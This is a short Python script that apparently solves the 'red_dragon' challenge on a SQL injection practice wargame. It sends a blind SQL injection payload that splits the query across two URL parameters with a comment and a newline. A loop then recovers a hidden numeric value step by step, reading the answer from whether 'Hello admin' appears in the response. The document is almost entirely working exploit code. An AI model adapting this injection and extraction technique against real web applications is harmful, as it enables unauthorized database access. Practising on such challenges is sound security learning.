import requests
URL = 'https://los.rubiya.kr/chall/red_dragon_b787de2bfe6bc3454e2391c4e7bb5de8.php?'
PHPSESSID = 'MY_PHPSESSID'
TRUE_PHRASE = 'Hello admin'
def query(payload):
cookies = {'PHPSESSID': PHPSESSID}
r = requests.get(URL + payload, cookies=cookies)
content = r.text
return TRUE_PHRASE in content
# 586482014
def find_no():
no = 0
while query("id='||no>%23&no=%0a{}".format(no)) is True:
no += 1000000
no -= 1000000
while query("id='||no>%23&no=%0a{}".format(no)) is True:
no += 1000
no -= 1000
while query("id='||no=%23&no=%0a{}".format(no)) is False:
no += 1
print('no: {}'.format(no))
find_no()